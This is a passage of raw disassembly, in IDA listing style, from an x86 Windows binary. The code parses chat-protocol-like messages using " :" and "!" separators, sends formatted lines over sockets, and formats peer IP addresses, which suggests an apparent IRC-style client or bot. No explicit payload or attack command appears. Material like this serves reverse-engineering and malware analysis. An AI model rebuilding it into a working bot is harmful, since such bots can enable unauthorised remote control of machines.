lea ecx, [esp+24h+arg_1FC] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 25h call sub_4016AE mov ecx, eax mov byte ptr [esp+20h+arg_246C], 26h call sub_4017E4 push eax lea ecx, [esp+24h+arg_25C] call sub_401861 lea ecx, [esp+20h+arg_1FC] mov byte ptr [esp+20h+arg_246C], 29h call sub_401226 lea ecx, [esp+20h+arg_22C] mov byte ptr [esp+20h+arg_246C], 28h call sub_401226 mov ecx, offset byte_44742D mov [ebp+16h], bl call sub_4017E4 push eax mov ecx, offset dword_4473E4 call sub_4017E4 mov edx, dword_447104 push eax push edx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E0B add esp, 14h lea ecx, [esp+20h+arg_25C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_411327 ; --------------------------------------------------------------------------- loc_410FB0: ; CODE XREF: sub_40FF60+EC7j push offset asc_443600 ; " " lea eax, [esp+24h+arg_28C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447120 mov byte ptr [esp+20h+arg_246C], 2Ah push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_28C] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_411168 push offset asc_443C94 ; ":" lea edx, [esp+24h+arg_2EC] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset asc_443C88 ; "!" lea ecx, [esp+24h+arg_2BC] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 2Bh call sub_4016AE mov ecx, eax mov byte ptr [esp+20h+arg_246C], 2Ch call sub_4017E4 push eax lea ecx, [esp+24h+arg_34] call sub_401861 lea ecx, [esp+20h+arg_2BC] mov byte ptr [esp+20h+arg_246C], 2Fh call sub_401226 lea ecx, [esp+20h+arg_2EC] mov byte ptr [esp+20h+arg_246C], 2Eh call sub_401226 push offset asc_443C84 ; " :" lea ecx, [esp+24h+var_8] call sub_4014D3 mov esi, dword_50FAF8 push eax call esi ; strstr add esp, 8 test eax, eax jz loc_411153 push offset asc_443C84 ; " :" lea ecx, [esp+24h+var_8] call sub_4014D3 push eax call esi ; strstr add esp, 8 lea ecx, [esp+20h+arg_64] push eax call sub_401861 push offset byte_446F70 lea ecx, [esp+24h+arg_34] mov byte ptr [esp+24h+arg_246C], 30h call sub_4012EE test eax, eax jz short loc_41113F push offset byte_446F70 lea ecx, [esp+24h+arg_64] call sub_4012EE test eax, eax jz short loc_41113F sub esp, 18h lea edx, [esp+38h+arg_34] mov ecx, esp mov [esp+38h+arg_C], esp push edx call sub_4014C9 mov ecx, offset word_448C9E call sub_401CD0 cmp eax, ebx jz short loc_41111B lea ecx, [esp+20h+arg_64] push ecx lea ecx, [eax+19h] call sub_401FBE loc_41111B: ; CODE XREF: sub_40FF60+11A9j push offset byte_4E6E85 lea ecx, [esp+24h+arg_34] call sub_401B72 test eax, eax jnz short loc_41113F lea edx, [esp+20h+arg_64] mov ecx, offset byte_4E6E85 push edx call sub_401FBE loc_41113F: ; CODE XREF: sub_40FF60+1173j ; sub_40FF60+1188j ... lea ecx, [esp+20h+arg_64] mov byte ptr [esp+20h+arg_246C], 2Eh call sub_401226 loc_411153: ; CODE XREF: sub_40FF60+1134j lea ecx, [esp+20h+arg_34] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_411327 ; --------------------------------------------------------------------------- loc_411168: ; CODE XREF: sub_40FF60+109Cj push offset asc_443600 ; " " lea eax, [esp+24h+arg_34C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447130 mov byte ptr [esp+20h+arg_246C], 31h push ecx mov ecx, eax call sub_4012EE test eax, eax jz short loc_4111EF push offset asc_443600 ; " " lea edx, [esp+24h+arg_31C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447140 mov byte ptr [esp+20h+arg_246C], 32h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_31C] mov byte ptr [esp+20h+arg_246C], 31h setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], bl cmp al, bl jz short loc_4111F4 loc_4111EF: ; CODE XREF: sub_40FF60+1238j mov [esp+20h+var_D], 1 loc_4111F4: ; CODE XREF: sub_40FF60+128Dj lea ecx, [esp+20h+arg_34C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz loc_411327 push offset asc_443C94 ; ":" lea edx, [esp+24h+arg_37C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE sub esp, 18h mov byte ptr [esp+38h+arg_246C], 33h mov ecx, esp mov [esp+38h+arg_C], esp push offset asc_443C88 ; "!" push ebx push ecx mov ecx, eax call sub_4016AE mov ecx, offset word_448C9E call sub_401CD0 lea ecx, [esp+20h+arg_37C] mov esi, eax mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp esi, ebx jz loc_411327 push offset asc_443C94 ; ":" lea edx, [esp+24h+arg_3DC] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE sub esp, 18h mov byte ptr [esp+38h+arg_246C], 34h mov ecx, esp mov [esp+38h+arg_C], esp push offset asc_443C88 ; "!" push ebx push ecx mov ecx, eax call sub_4016AE push offset asc_443C94 ; ":" lea edx, [esp+3Ch+arg_3AC] push 1 push edx lea ecx, [esp+44h+var_8] mov byte ptr [esp+44h+arg_246C], 35h call sub_4016AE sub esp, 18h mov byte ptr [esp+50h+arg_246C], 36h mov ecx, esp mov [esp+50h+var_C], esp push offset asc_443C88 ; "!" push ebx push ecx mov ecx, eax call sub_4016AE mov ecx, offset word_448C9E mov byte ptr [esp+50h+arg_246C], 37h call sub_40210D lea ecx, [esp+20h+arg_3AC] mov byte ptr [esp+20h+arg_246C], 34h call sub_401226 lea ecx, [esp+20h+arg_3DC] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp short loc_411327 ; --------------------------------------------------------------------------- loc_411320: ; CODE XREF: sub_40FF60+391j mov ecx, ebp call sub_401D0C loc_411327: ; CODE XREF: sub_40FF60+1D3j ; sub_40FF60+253j ... cmp [ebp+17h], bl jnz loc_40FFA2 loc_411330: ; CODE XREF: sub_40FF60+3Cj ; sub_40FF60+4Fj lea ecx, [esp+20h+var_8] mov [esp+20h+arg_246C], 0FFFFFFFFh call sub_401226 mov ecx, [esp+20h+arg_2464] pop edi pop esi pop ebp xor eax, eax mov large fs:0, ecx pop ebx add esp, 2484h retn sub_40FF60 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 500h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411860 proc near ; CODE XREF: sub_4010BEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411860 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E6A lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_402054 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E038 mov dword ptr [esi+11h], 0 mov byte ptr [esi+0ABh], 0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_411860 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4118E0: ; CODE XREF: ___:loc_40115Ej ; ___:004016EAj push esi mov esi, ecx call sub_40101E test byte ptr [esp+8], 1 jz short loc_4118F8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_4118F8: ; CODE XREF: ___:004118EDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411910 proc near ; CODE XREF: sub_40101Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411910 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43E038 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_40196A mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_402031 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_411910 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411990 proc near ; CODE XREF: sub_402054j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411990 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401424 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401424 lea ecx, [esi+54h] mov byte ptr [esp+14h+var_4], 3 call sub_401424 lea ecx, [esi+69h] mov byte ptr [esp+14h+var_4], 4 call sub_401424 lea ecx, [esi+7Eh] mov byte ptr [esp+14h+var_4], 5 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_411990 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411A50 proc near ; CODE XREF: sub_40196Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411A50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+7Eh] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+69h] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+54h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_411A50 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411B10 proc near ; CODE XREF: sub_4019D3j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_40196A test [esp+4+arg_0], 1 jz short loc_411B28 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_411B28: ; CODE XREF: sub_411B10+Dj mov eax, esi pop esi retn 4 sub_411B10 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_411B40 proc near ; CODE XREF: sub_401A0Aj var_3C = byte ptr -3Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_411B40 push eax mov large fs:0, esp sub esp, 30h push ebx push esi mov esi, ecx push edi test esi, esi jz short loc_411B66 lea edi, [esi+11h] jmp short loc_411B68 ; --------------------------------------------------------------------------- loc_411B66: ; CODE XREF: sub_411B40+1Fj xor edi, edi loc_411B68: ; CODE XREF: sub_411B40+24j push 0 push 17h push 1 push 12h push 4Fh lea eax, [esp+5Ch+var_3C] push 9 push eax call sub_4019B5 add esp, 1Ch push edi mov ecx, eax mov [esp+4Ch+var_4], 0 call sub_4017E4 lea ecx, [esi+250h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_411B40 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411BBC lea ebx, [esi+11h] jmp short loc_411BBE ; --------------------------------------------------------------------------- loc_411BBC: ; CODE XREF: ___:00411BB5j xor ebx, ebx loc_411BBE: ; CODE XREF: ___:00411BBAj push 0 push 14h push 3 push 5 push 0Eh push 0Eh push 0Fh push 3 push 5 push 12h push 4Fh lea edx, [esp+38h] push 9 push edx call sub_4019B5 add esp, 34h push ebx mov ecx, eax mov dword ptr [esp+48h], 1 call sub_4017E4 push eax lea eax, [esi+27Eh] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411C1B lea ebx, [esi+11h] jmp short loc_411C1D ; --------------------------------------------------------------------------- loc_411C1B: ; CODE XREF: ___:00411C14j xor ebx, ebx loc_411C1D: ; CODE XREF: ___:00411C19j push 0 push 14h push 12h push 1 push 10h push 4Fh lea ecx, [esp+24h] push 9 push ecx call sub_4019B5 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 2 call sub_4017E4 lea edx, [esi+1C6h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411C70 lea ebx, [esi+11h] jmp short loc_411C72 ; --------------------------------------------------------------------------- loc_411C70: ; CODE XREF: ___:00411C69j xor ebx, ebx loc_411C72: ; CODE XREF: ___:00411C6Ej push 0 push 5 push 4 push 0Fh push 0Dh push 4Fh lea eax, [esp+24h] push 9 push eax call sub_4019B5 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 3 call sub_4017E4 lea ecx, [esi+16Ah] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411CC5 lea ebx, [esi+11h] jmp short loc_411CC7 ; --------------------------------------------------------------------------- loc_411CC5: ; CODE XREF: ___:00411CBEj xor ebx, ebx loc_411CC7: ; CODE XREF: ___:00411CC3j push 0 push 7 push 13h push 0Dh push 4Fh lea edx, [esp+20h] push 9 push edx call sub_4019B5 add esp, 1Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 4 call sub_4017E4 push eax lea eax, [esi+1F4h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411D18 lea ebx, [esi+11h] jmp short loc_411D1A ; --------------------------------------------------------------------------- loc_411D18: ; CODE XREF: ___:00411D11j xor ebx, ebx loc_411D1A: ; CODE XREF: ___:00411D16j push 0 push 5 push 3 push 9 push 14h push 0Fh push 0Eh push 4Fh lea ecx, [esp+2Ch] push 9 push ecx call sub_4019B5 add esp, 28h push ebx mov ecx, eax mov dword ptr [esp+48h], 5 call sub_4017E4 lea edx, [esi+0B2h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411D71 lea ebx, [esi+11h] jmp short loc_411D73 ; --------------------------------------------------------------------------- loc_411D71: ; CODE XREF: ___:00411D6Aj xor ebx, ebx loc_411D73: ; CODE XREF: ___:00411D6Fj push 0 push 14h push 3 push 5 push 0Eh push 0Eh push 0Fh push 3 push 13h push 9 push 4 push 4Fh lea eax, [esp+3Ch] push 9 push eax call sub_4019B5 add esp, 38h push ebx mov ecx, eax mov dword ptr [esp+48h], 6 call sub_4017E4 lea ecx, [esi+56h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411DCF lea ebx, [esi+11h] jmp short loc_411DD1 ; --------------------------------------------------------------------------- loc_411DCF: ; CODE XREF: ___:00411DC8j xor ebx, ebx loc_411DD1: ; CODE XREF: ___:00411DCDj push 0 push 14h push 13h push 0Fh push 8 push 14h push 5 push 7 push 4Fh lea edx, [esp+30h] push 9 push edx call sub_4019B5 add esp, 2Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 7 call sub_4017E4 push eax lea eax, [esi+10Eh] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411E2A lea ebx, [esi+11h] jmp short loc_411E2C ; --------------------------------------------------------------------------- loc_411E2A: ; CODE XREF: ___:00411E23j xor ebx, ebx loc_411E2C: ; CODE XREF: ___:00411E28j push 0 push 0Fh push 6 push 0Eh push 9 push 14h push 5 push 0Eh push 4Fh lea ecx, [esp+30h] push 9 push ecx call sub_4019B5 add esp, 2Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 8 call sub_4017E4 lea edx, [esi+198h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411E85 lea ebx, [esi+11h] jmp short loc_411E87 ; --------------------------------------------------------------------------- loc_411E85: ; CODE XREF: ___:00411E7Ej xor ebx, ebx loc_411E87: ; CODE XREF: ___:00411E83j push 0 push 0Eh push 9 push 0Fh push 0Ah push 4Fh lea eax, [esp+3Ch] push 9 push eax call sub_4019B5 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 9 call sub_4017E4 add esi, 13Ch push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+44h], edi call sub_401226 mov ecx, [esp+3Ch] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0F0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411FE0 proc near ; CODE XREF: sub_401AB9j var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_411FE0 push eax mov large fs:0, esp sub esp, 78h push ebx push ebp push esi mov esi, [esp+90h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+45h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jz loc_412509 lea ecx, [edi+26Dh] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jz loc_412509 lea ecx, [edi+0A1h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4120E2 push offset asc_443600 ; " " lea eax, [esp+98h+var_6C] push 2 push eax mov ecx, esi call sub_4016AE mov ebp, eax push offset asc_443600 ; " " lea ecx, [esp+98h+var_84] push 1 xor ebx, ebx push ecx mov ecx, esi mov [esp+0A0h+var_4], ebx call sub_4016AE mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 1 call sub_4017E4 push eax mov ecx, esi call sub_4017E4 mov edx, dword_447100 push eax push edx add edi, 0FFFFFFEFh push offset dword_443CEC push edi call sub_401E0B add esp, 14h lea ecx, [esp+94h+var_84] mov byte ptr [esp+94h+var_4], bl call sub_401226 lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_4120E2: ; CODE XREF: sub_411FE0+70j lea ecx, [edi+187h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_412159 add edi, 0FFFFFFEFh lea eax, [esp+94h+var_6C] push eax mov ecx, edi call sub_401D39 mov ecx, eax mov [esp+94h+var_4], 2 call sub_4017E4 push eax push offset aS ; "%s" lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push edi call sub_401848 add esp, 18h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_412159: ; CODE XREF: sub_411FE0+117j lea ecx, [edi+0FDh] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_412214 push offset asc_443600 ; " " lea eax, [esp+98h+var_6C] push 1 push eax mov ecx, esi call sub_4016AE push eax lea ecx, [edi+17h] mov [esp+98h+var_4], 3 call sub_4018A2 or ebp, 0FFFFFFFFh lea ecx, [esp+94h+var_6C] mov ebx, eax mov [esp+94h+var_4], ebp call sub_401226 test ebx, ebx jz loc_412532 lea ecx, [esp+94h+var_6C] add edi, 0FFFFFFEFh push ecx mov ecx, edi call sub_401D39 mov ecx, eax mov [esp+94h+var_4], 4 call sub_4017E4 push eax push offset aS ; "%s" lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push edi call sub_401848 add esp, 18h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], ebp call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_412214: ; CODE XREF: sub_411FE0+18Ej lea ecx, [edi+12Bh] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4122BD push offset asc_443600 ; " " lea ecx, [esp+98h+var_84] push 2 push ecx mov ecx, esi call sub_4016AE mov ebp, eax push offset asc_443600 ; " " lea edx, [esp+98h+var_6C] mov ebx, 5 push 1 push edx mov ecx, esi mov [esp+0A0h+var_4], ebx call sub_4016AE mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 6 call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax mov eax, dword_447104 push eax add edi, 0FFFFFFEFh push offset aSSS_0 ; "%s %s %s\r\n" push edi call sub_401E0B add esp, 14h lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], bl call sub_401226 lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_4122BD: ; CODE XREF: sub_411FE0+249j lea ecx, [edi+1B5h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41232B push offset asc_443600 ; " " lea ecx, [esp+98h+var_6C] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+94h+var_4], 7 call sub_4017E4 mov edx, dword_447130 push eax push edx add edi, 0FFFFFFEFh push offset aSS_0 ; "%s %s\r\n" push edi call sub_401E0B add esp, 10h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_41232B: ; CODE XREF: sub_411FE0+2F2j lea ecx, [edi+23Fh] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41238D lea eax, [esp+94h+var_6C] push 9 push eax mov ecx, esi call sub_401E2E mov ecx, eax mov [esp+94h+var_4], 8 call sub_4017E4 push eax add edi, 0FFFFFFEFh push offset dword_443CE4 push edi call sub_401E0B add esp, 0Ch lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_41238D: ; CODE XREF: sub_411FE0+360j lea ecx, [edi+1E3h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41242D push offset asc_443600 ; " " lea ecx, [esp+98h+var_84] push 1 push ecx mov ecx, esi call sub_4016AE mov ebp, eax push 1 push offset asc_443600 ; " " lea edx, [esp+9Ch+var_6C] push 2 push edx mov ecx, esi mov [esp+0A4h+var_4], 9 call sub_4011EA mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 0Ah call sub_4014D3 push eax mov ecx, esi call sub_4014D3 xor ebx, ebx push eax push ebx push ebx lea ecx, [edi-11h] call sub_401118 lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 9 call sub_401226 lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412532 ; --------------------------------------------------------------------------- loc_41242D: ; CODE XREF: sub_411FE0+3C2j lea ecx, [edi+159h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_412532 push offset asc_443600 ; " " lea eax, [esp+98h+var_24] push 3 push eax mov ecx, esi call sub_4016AE mov ebp, eax push offset asc_443600 ; " " lea ecx, [esp+98h+var_3C] push 2 push ecx mov ecx, esi mov [esp+0A0h+var_4], 0Bh call sub_4016AE mov ebx, eax push offset asc_443600 ; " " lea edx, [esp+98h+var_54] push 1 push edx mov ecx, esi mov byte ptr [esp+0A0h+var_4], 0Ch call sub_4016AE mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 0Dh call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax mov eax, dword_447134 push eax add edi, 0FFFFFFEFh push offset dword_443CD4 push edi call sub_401E0B add esp, 18h lea ecx, [esp+94h+var_54] mov byte ptr [esp+94h+var_4], 0Ch call sub_401226 lea ecx, [esp+94h+var_3C] mov byte ptr [esp+94h+var_4], 0Bh call sub_401226 lea ecx, [esp+94h+var_24] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp short loc_412532 ; --------------------------------------------------------------------------- loc_412509: ; CODE XREF: sub_411FE0+3Aj ; sub_411FE0+55j xor ebx, ebx mov [edi+0Fh], ebx mov [edi+0Bh], ebx mov [edi+5], bl mov [edi+4], bl mov ecx, [edi+7] push ecx nop call near ptr 71AB9639h mov ecx, offset word_448C9E mov dword ptr [edi+7], 0FFFFFFFFh call sub_401537 loc_412532: ; CODE XREF: sub_411FE0+FDj ; sub_411FE0+174j ... mov ecx, [esp+94h+var_C] pop edi pop esi pop ebp xor al, al pop ebx mov large fs:0, ecx add esp, 84h retn 4 sub_411FE0 endp ; --------------------------------------------------------------------------- db 90h db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4126B0 proc near ; CODE XREF: sub_401D39j var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4126B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 40h push esi mov esi, ecx lea ecx, [esp+50h+var_24] mov [esp+50h+var_48], 0 call sub_401424 xor eax, eax lea ecx, [esp+50h+var_4C] mov [esp+50h+var_44], eax lea edx, [esp+50h+var_44] mov [esp+50h+var_40], eax push ecx mov [esp+54h+var_3C], eax push edx mov [esp+58h+var_38], eax mov eax, [esi+18h] push eax mov [esp+5Ch+var_4], 1 mov [esp+5Ch+var_4C], 10h nop call near ptr 71AB951Eh mov ecx, [esp+50h+var_40+3] mov edx, [esp+50h+var_40+2] mov eax, [esp+50h+var_40+1] and ecx, 0FFh push ecx mov ecx, [esp+54h+var_40] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx lea edx, [esp+60h+var_34] push offset aD_D_D_D ; "%d.%d.%d.%d" push edx call sub_5EDAB2 nop add esp, 18h lea ecx, [esp+50h+var_24] push offset byte_446F70 call sub_4015D7 push offset dword_443D18 lea ecx, [esp+54h+var_24] call sub_401A9B lea eax, [esp+50h+var_34] lea ecx, [esp+50h+var_24] push eax call sub_401A9B push offset dword_443D14 lea ecx, [esp+54h+var_24] call sub_401A9B add esi, 28h lea ecx, [esp+50h+var_24] push esi call sub_4016BD push offset dword_443D14 lea ecx, [esp+54h+var_24] call sub_401A9B lea ecx, [esp+50h+var_34] push ecx call sub_401479 add esp, 4 test al, al jz short loc_4127BB push offset dword_443D08 jmp short loc_4127C0 ; --------------------------------------------------------------------------- loc_4127BB: ; CODE XREF: sub_4126B0+102j push offset dword_443CFC loc_4127C0: ; CODE XREF: sub_4126B0+109j lea ecx, [esp+54h+var_24] call sub_401A9B mov esi, [esp+50h+arg_0] lea edx, [esp+50h+var_24] push edx mov ecx, esi call sub_4014C9 mov [esp+50h+var_48], 1 lea ecx, [esp+50h+var_24] mov byte ptr [esp+50h+var_4], 0 call sub_401226 mov ecx, [esp+50h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 4Ch retn 4 sub_4126B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412870 proc near ; CODE XREF: sub_401582j arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] push esi mov esi, ecx push edi mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [esi+18h] push 0 not ecx dec ecx push ecx push ebp push eax nop call near ptr 71AB428Ah mov edx, eax mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx cmp edx, ecx jnb short loc_4128CE mov [esi+16h], al mov [esi+15h], al mov eax, [esi+18h] push eax call near ptr 71AB9639h nop mov ecx, offset word_448C9E mov dword ptr [esi+18h], 0FFFFFFFFh call sub_401537 pop edi pop esi xor al, al pop ebp retn 4 ; --------------------------------------------------------------------------- loc_4128CE: ; CODE XREF: sub_412870+33j pop edi pop esi mov al, 1 pop ebp retn 4 sub_412870 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412900 proc near ; CODE XREF: sub_401E0Bj arg_2000 = dword ptr 2004h 